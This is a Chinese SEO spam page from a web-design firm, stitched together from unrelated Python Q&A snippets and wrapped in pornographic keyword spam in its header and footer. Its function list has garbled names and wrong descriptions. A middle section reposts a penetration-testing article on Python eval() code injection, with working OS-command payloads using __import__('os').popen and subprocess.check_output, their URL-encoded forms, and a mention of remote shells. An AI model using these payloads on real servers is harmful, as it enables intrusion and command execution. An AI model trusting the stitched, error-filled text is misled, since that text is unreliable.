老熟女激烈的高潮_日韩一级黄色录像_亚洲1区2区3区视频_精品少妇一区二区三区在线播放_国产欧美日产久久_午夜福利精品导航凹凸

重慶分公司,新征程啟航

為企業(yè)提供網(wǎng)站建設(shè)、域名注冊、服務(wù)器等服務(wù)

Python函數(shù)查詢網(wǎng)站,python語句查詢

python函數(shù)有哪些

1、print()函數(shù):打印字符串;

創(chuàng)新互聯(lián)-專業(yè)網(wǎng)站定制、快速模板網(wǎng)站建設(shè)、高性價比民樂網(wǎng)站開發(fā)、企業(yè)建站全套包干低至880元,成熟完善的模板庫,直接使用。一站式民樂網(wǎng)站制作公司更省心,省錢,快速模板網(wǎng)站建設(shè)找我們,業(yè)務(wù)覆蓋民樂地區(qū)。費用合理售后完善,十載實體公司更值得信賴。

2、raw_input()函數(shù):從用戶鍵盤捕獲字符;

3、len()函數(shù):計算字符長度;

4、format()函數(shù):實現(xiàn)格式化輸出;

5、type()函數(shù):查詢對象的類型;

6、int()函數(shù)、float()函數(shù)、str()函數(shù)等:類型的轉(zhuǎn)化函數(shù);

7、id()函數(shù):獲取對象的內(nèi)存地址;

8、help()函數(shù):Python的幫助函數(shù);

9、s.islower()函數(shù):判斷字符小寫;

10、s.sppace()函數(shù):判斷是否為空格;

11、str.replace()函數(shù):替換字符;

12、import()函數(shù):引進庫;

13、math.sin()函數(shù):sin()函數(shù);

14、math.pow()函數(shù):計算次方函數(shù);

15、os.getcwd()函數(shù):獲取當(dāng)前工作目錄;

16、listdir()函數(shù):顯示當(dāng)前目錄下的文件;

17、time.sleep()函數(shù):停止一段時間;

18、random.randint()函數(shù):產(chǎn)生隨機數(shù);

19、range()函數(shù):返回一個列表,打印從1到100;

20、file.read()函數(shù):讀取文件返回字符串;

21、file.readlines()函數(shù):讀取文件返回列表;

22、file.readline()函數(shù):讀取一行文件并返回字符串;

23、split()函數(shù):用什么來間隔字符串;

24、isalnum()函數(shù):判斷是否為有效數(shù)字或字符;

25、isalpha()函數(shù):判斷是否全為字符;

26、isdigit()函數(shù):判斷是否全為數(shù)字;

27、 lower()函數(shù):將數(shù)據(jù)改成小寫;

28、upper()函數(shù):將數(shù)據(jù)改成大寫;

29、startswith(s)函數(shù):判斷字符串是否以s開始的;

30、endwith(s)函數(shù):判斷字符串是否以s結(jié)尾的;

31、file.write()函數(shù):寫入函數(shù);

32、file.writeline()函數(shù):寫入文件;

33、abs()函數(shù):得到某數(shù)的絕對值;

34、file.sort()函數(shù):對書數(shù)據(jù)排序;

35、tuple()函數(shù):創(chuàng)建一個元組;

36、find()函數(shù):查找 返回的是索引;

37、dict()函數(shù):創(chuàng)建字典;

38、clear()函數(shù):清楚字典中的所有項;

39、copy()函數(shù):復(fù)制一個字典,會修改所有的字典;

40、 get()函數(shù):查詢字典中的元素。

…………

如何查看 Python 全部內(nèi)置變量和內(nèi)置函數(shù)?

查看python內(nèi)置函數(shù)的方法:1、打開Python IDLE編輯器;2、輸入" dir(__builtins__)"命令,按下回車鍵(Enter)得到Python全部內(nèi)置變量和函數(shù)。

如何查看 Python 全部內(nèi)置變量和內(nèi)置函數(shù)?

1 如圖,打開 Python IDLE,我用的 是 Python 3.7 ,界面有個性定制。你的版本不同,界面有差異,但是操作方法應(yīng)該是一樣的。

2 輸入 dir(__builtins__)

按下回車鍵(Enter)。

3 也可以:

import builtins

dir(builtins)

按下回車鍵(Enter)。

得到的結(jié)果和 dir(__builtins__) 是一樣的。

4 那么這返回的一大堆到底是什么東西?

可以看到,返回的結(jié)果是以 [ 開頭以 ] 結(jié)尾,說明是個列表,我們看看這列表里一共有多少個元素?

輸入:

len(dir(__builtins__))

得到一個數(shù)字,154 ,說明當(dāng)前版本的 Python 內(nèi)置的常量和函數(shù)總數(shù)是 154 。

5 我們再重新輸出一下這個列表,逐個打印出來,更好看一點。

for item in dir(__builtins__):

print(item)

按下兩次回車鍵(Enter)。按照默認的字母順序,先是大寫字母 A-Z,然后是下劃線(_)開頭的,然后是小寫字母 a-z ,為什么是這個順序?因為按照 ASCII 碼表,表示小寫字母的數(shù)字比表示大寫字母的數(shù)字要大,而表示下劃線(_)的數(shù)字居中,所以如此。

6 print() 就是 Python 3 的默認函數(shù)。我們試試:

print('Hello World')

builtins.print('Hello World')

__builtins__.print('Hello World')

運行結(jié)果如下,可以看到,結(jié)果是一樣的。

dir()本身就是 Python 的內(nèi)置函數(shù),利用它,我們可以查看對象的全部方法和屬性,對于掌控全局,了解全貌很有用。

課程推薦:Python快速教程之從入門到精通

如何使用python查找網(wǎng)站漏洞

如果你的Web應(yīng)用中存在Python代碼注入漏洞的話,攻擊者就可以利用你的Web應(yīng)用來向你后臺服務(wù)器的Python解析器發(fā)送惡意Python代碼了。這也就意味著,如果你可以在目標服務(wù)器中執(zhí)行Python代碼的話,你就可以通過調(diào)用服務(wù)器的操作系統(tǒng)的指令來實施攻擊了。通過運行操作系統(tǒng)命令,你不僅可以對那些可以訪問到的文件進行讀寫操作,甚至還可以啟動一個遠程的交互式Shell(例如nc、Metasploit和Empire)。

為了復(fù)現(xiàn)這個漏洞,我在最近的一次外部滲透測試過程中曾嘗試去利用過這個漏洞。當(dāng)時我想在網(wǎng)上查找一些關(guān)于這個漏洞具體應(yīng)用方法的信息,但是并沒有找到太多有價值的內(nèi)容。在同事Charlie Worrell(@decidedlygray)的幫助下,我們成功地通過Burp POC實現(xiàn)了一個非交互式的shell,這也是我們這篇文章所要描述的內(nèi)容。

因為除了Python之外,還有很多其他的語言(例如Perl和Ruby)也有可能出現(xiàn)代碼注入問題,因此Python代碼注入屬于服務(wù)器端代碼注入的一種。實際上,如果各位同學(xué)和我一樣是一名CWE的關(guān)注者,那么下面這兩個CWE也許可以給你提供一些有價值的參考內(nèi)容:

1. CWE-94:代碼生成控制不當(dāng)(‘代碼注入’)2. CWE-95:動態(tài)代碼評估指令處理不當(dāng)(‘Eval注入’)漏洞利用

假設(shè)你現(xiàn)在使用Burp或者其他工具發(fā)現(xiàn)了一個Python注入漏洞,而此時的漏洞利用Payload又如下所示:

eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面這個Payload來在目標主機中實現(xiàn)操作系統(tǒng)指令注入了:

eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))實際上,你甚至都不需要使用for循環(huán),直接使用全局函數(shù)“__import__”就可以了。具體代碼如下所示:

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其實我們的Payload代碼還可以更加簡潔,既然我們已經(jīng)將import和popen寫在了一個表達式里面了,那么在大多數(shù)情況下,你甚至都不需要使用compile了。具體代碼如下所示:

__import__('os').popen('COMMAND').read()

為了將這個Payload發(fā)送給目標Web應(yīng)用,你需要對其中的某些字符進行URL編碼。為了節(jié)省大家的時間,我們在這里已經(jīng)將上面所列出的Payload代碼編碼完成了,具體如下所示:

param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下來,我們將會給大家介紹關(guān)于這個漏洞的細節(jié)內(nèi)容,并跟大家分享一個包含這個漏洞的Web應(yīng)用。在文章的結(jié)尾,我將會給大家演示一款工具,這款工具是我和我的同事Charlie共同編寫的,它可以明顯降低你在利用這個漏洞時所花的時間。簡而言之,這款工具就像sqlmap一樣,可以讓你快速找到SQL注入漏洞,不過這款工具仍在起步階段,感興趣的同學(xué)可以在項目的GitHub主頁[傳送門]中與我交流一下。

搭建一個包含漏洞的服務(wù)器

為了更好地給各位同學(xué)進行演示,我專門創(chuàng)建了一個包含漏洞的Web應(yīng)用。如果你想要自己動手嘗試利用這個漏洞的話,你可以點擊這里獲取這份Web應(yīng)用。接下來,我們要配置的就是Web應(yīng)用的運行環(huán)境,即通過pip或者easy_install來安裝web.py。它可以作為一臺獨立的服務(wù)器運行,或者你也可以將它加載至包含mod_wsgi模塊的Apache服務(wù)器中。相關(guān)操作指令如下所示:

git clone VulnApp

./install_requirements.sh

python PyCodeInjectionApp.py

漏洞分析

當(dāng)你在網(wǎng)上搜索關(guān)于python的eval()函數(shù)時,幾乎沒有文章會提醒你這個函數(shù)是非常不安全的,而eval()函數(shù)就是導(dǎo)致這個Python代碼注入漏洞的罪魁禍首。如果你遇到了下面這兩種情況,說明你的Web應(yīng)用中存在這個漏洞:

1. Web應(yīng)用接受用戶輸入(例如GET/POST參數(shù),cookie值);2. Web應(yīng)用使用了一種不安全的方法來將用戶的輸入數(shù)據(jù)傳遞給eval()函數(shù)(沒有經(jīng)過安全審查,或者缺少安全保護機制);下圖所示的是一份包含漏洞的示例代碼:

\

大家可以看到,eval()函數(shù)是上述代碼中唯一一個存在問題的地方。除此之外,如果開發(fā)人員直接對用戶的輸入數(shù)據(jù)(序列化數(shù)據(jù))進行拆封的話,那么Web應(yīng)用中也將會出現(xiàn)這個漏洞。

不過需要注意的是,除了eval()函數(shù)之外,Python的exec()函數(shù)也有可能讓你的Web應(yīng)用中出現(xiàn)這個漏洞。而且據(jù)我所示,現(xiàn)在很多開發(fā)人員都會在Web應(yīng)用中不規(guī)范地使用exec()函數(shù),所以這個問題肯定會存在。

自動掃描漏洞

為了告訴大家如何利用漏洞來實施攻擊,我通常會使用掃描器來發(fā)現(xiàn)一些我此前沒有見過的東西。找到之后,我再想辦法將毫無新意的PoC開發(fā)成一個有意義的exploit。不過我想提醒大家的是,不要過度依賴掃描工具,因為還很多東西是掃描工具也找不到的。

這個漏洞也不例外,如果你在某個Web應(yīng)用中發(fā)現(xiàn)了這個漏洞,那么你肯定使用了某款自動化的掃描工具,比如說Burp Suite Pro。目前為止,如果不使用類似Burp Suite Pro這樣的專業(yè)掃描工具,你幾乎是無法發(fā)現(xiàn)這個漏洞的。

當(dāng)你搭建好測試環(huán)境之后,啟動并運行包含漏洞的示例應(yīng)用。接下來,使用Burp Suite Pro來對其進行掃描。掃描結(jié)果如下圖所示:

\

下圖顯示的是Burp在掃描這個漏洞時所使用的Payload:

\

我們可以看到,Burp之所以要將這個Web應(yīng)用標記為“Vulnerable”(包含漏洞的),是因為當(dāng)它將這個Payload發(fā)送給目標Web應(yīng)用之后,服務(wù)器的Python解析器休眠了20秒,響應(yīng)信息在20秒之后才成功返回。但我要提醒大家的是,這種基于時間的漏洞檢查機制通常會存在一定的誤報。

將PoC升級成漏洞利用代碼

使用time.sleep()來驗證漏洞的存在的確是一種很好的方法。接下來,為了執(zhí)行操作系統(tǒng)指令并接收相應(yīng)的輸出數(shù)據(jù),我們可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()這幾個函數(shù)。當(dāng)然了,應(yīng)該還有很多其他的函數(shù)同樣可以實現(xiàn)我們的目標。

因為eval()函數(shù)只能對表達式進行處理,因此Burp Suite Pro的Payload在這里使用了compile()函數(shù),這是一種非常聰明的做法。當(dāng)然了,我們也可以使用其他的方法來實現(xiàn),例如使用全局函數(shù)“__import__”。關(guān)于這部分內(nèi)容請查閱參考資料:[參考資料1][參考資料2]

下面這個Payload應(yīng)該可以適用于絕大多數(shù)的場景:

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

# Example with one expression

__import__('os').popen('COMMAND').read()

# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要執(zhí)行一個或多個語句,那么你就需要使用eval()或者compile()函數(shù)了。實現(xiàn)代碼如下所示:

# Examples with one expression

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的測試過程中,有時全局函數(shù)“__import__”會不起作用。在這種情況下,我們就要使用for循環(huán)了。相關(guān)代碼如下所示:

eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的參數(shù)是一個GET參數(shù),那么你就可以直接在瀏覽器中利用這個漏洞了:

\

請注意:雖然瀏覽器會幫你完成絕大部分的URL編碼工作,但是你仍然需要對分號(%3b)和空格(%20)進行手動編碼。除此之外,你也可以直接使用我們所開發(fā)的工具。

如果是POST參數(shù)的話,我建議各位直接使用類似Burp Repeater這樣的工具。如下圖所示,我在subprocess.check_output()函數(shù)中一次性調(diào)用了多個系統(tǒng)命令,即pwd、ls、-al、whoami和ping。

\

\

漏洞利用工具-PyCodeInjectionShell

你可以直接訪問PyCodeInjectionShell的GitHub主頁獲取工具源碼,我們也提供了相應(yīng)的工具使用指南。在你使用這款工具的過程中會感覺到,它跟sqlmap一樣使用起來非常的簡單。除此之外,它的使用方法跟sqlmap基本相同。

python怎么查看函數(shù)有什么參數(shù)

在開發(fā)中我們可以借助于相關(guān)插件或使用Python內(nèi)置函數(shù)"help()”來查看某個函數(shù)的參數(shù)說明,以查看內(nèi)置函數(shù)sorted()為例:

函數(shù)參數(shù)包括:必選參數(shù)、默認參數(shù)、可選參數(shù)、關(guān)鍵字參數(shù)。

1、默認參數(shù):放在必選參數(shù)之后,計算x平方的函數(shù):

這樣的話每次計算不同冪函數(shù)都要重寫函數(shù),非常麻煩,可使用以下代碼計算:

默認參數(shù)最大好處就是降低調(diào)用函數(shù)的難度。

2、可變參數(shù):就是傳入的參數(shù)個數(shù)是可變的,可以是1個、2個到任意個,還可以是0個,在參數(shù)前面加上*就是可變參數(shù)。在函數(shù)內(nèi)部,參數(shù)numbers接收得到的是一個tuple,調(diào)用該函數(shù)時,可以傳入任意個參數(shù),包括0個參數(shù):

也可以類似可變參數(shù),先組裝一個dict,然后,把該dict轉(zhuǎn)換為關(guān)鍵字參數(shù)傳進去:

Python基礎(chǔ)之查看Python庫、函數(shù)和模塊

1.dir函數(shù)式可以查看對象的屬性

使用方法很簡單,舉os類型為例,在Python命令窗口輸入?dir(‘os’)?即可查看os模塊的屬性

打開cmd命令窗口:

2.如何查看對象某個屬性的幫助文檔:兩種方法如下:

3.如何查看某個對象的詳細:

3.如何查看某個對象的函數(shù):

如何查看python庫函數(shù)的代碼?

python 所有版本的源代碼可以在這里下載到:

python沒有像matlab那樣的函數(shù)可以直接查看某個函數(shù)的源代碼,只有去下載整個源代碼查看了,不過找起來應(yīng)該也不難,另外你也可以寫一個小程序來查看對應(yīng)函數(shù)的源代碼。

Python的函數(shù)調(diào)用方式是通過import來調(diào)用的對應(yīng)的py文件。

庫函數(shù)有內(nèi)建函數(shù)build_in(會寫python的時候已經(jīng)可以不用看了,不會寫的時候看也看不懂),和通過pip直接下載或者github上下載再安裝的函數(shù)。本質(zhì)上都是py文件。后者有時候由于環(huán)境的不同需要自行修改(這種情況較少),一般在安裝路徑下"\Lib\site-packages"文件夾中存在。

學(xué)習(xí)庫函數(shù)最好的方法是看網(wǎng)上官方的幫助文檔,此外還可以通過python自帶的dir()方法查看所有的屬性和方法,或者用help()方法查看幫助文檔(部分別人造的輪子不一定有)。

另外推薦使用ipython,Python創(chuàng)始人之一的成員編寫的交互式系統(tǒng)。


當(dāng)前標題:Python函數(shù)查詢網(wǎng)站,python語句查詢
URL地址:http://www.xueling.net.cn/article/dsgshjp.html

其他資訊

在線咨詢
服務(wù)熱線
服務(wù)熱線:028-86922220
TOP
主站蜘蛛池模板: 国产自偷自拍 | 国产免费天天看高清影视在线 | 色在线导航 | 伊人国产在线观看 | 久久tv中文字幕首页 | 中文亚洲爆乳av无码专区 | 久久亚洲精品成人无码网站蜜桃 | 亚洲精品TV久久久久久久久J | 免费黄色成人 | 亚洲日本VA中文字幕无码毛片 | 18禁在线无码无遮挡观看视频 | 欧美在线视频一区 | 简单av自拍 | 亚洲一区二区三区国产精华液 | 成人片网址 | 亚洲在线视频网站 | 亚洲第一极品精品无码 | 97影院在线免费看 | 亚洲第一综合色 | 在线免费观看日本欧美 | 精品av熟女一区二区偷窥海滩 | 狠狠躁夜夜躁人人爽天天30人 | 黄污免费网站 | 麻豆视频国产在线观看 | 亚洲天堂网络 | 91蜜臀精品国产自偷在线 | 国产有码av | 久久免费手机视频 | 四虎成人精品永久免费av | 最近2019中文字幕第二页 | 中国黄色片在线观看 | 日本亚洲色大成网站ww | 香港经典A毛片免费观看特级 | 亚洲美女三区 | 在线亚洲高清揄拍自拍一品区 | av成人福利 | 日本高清免费aaaaa大片视频 | 欧美一级一| av久操| av一区在线观看 | 久久久久成人精品亚洲国产 |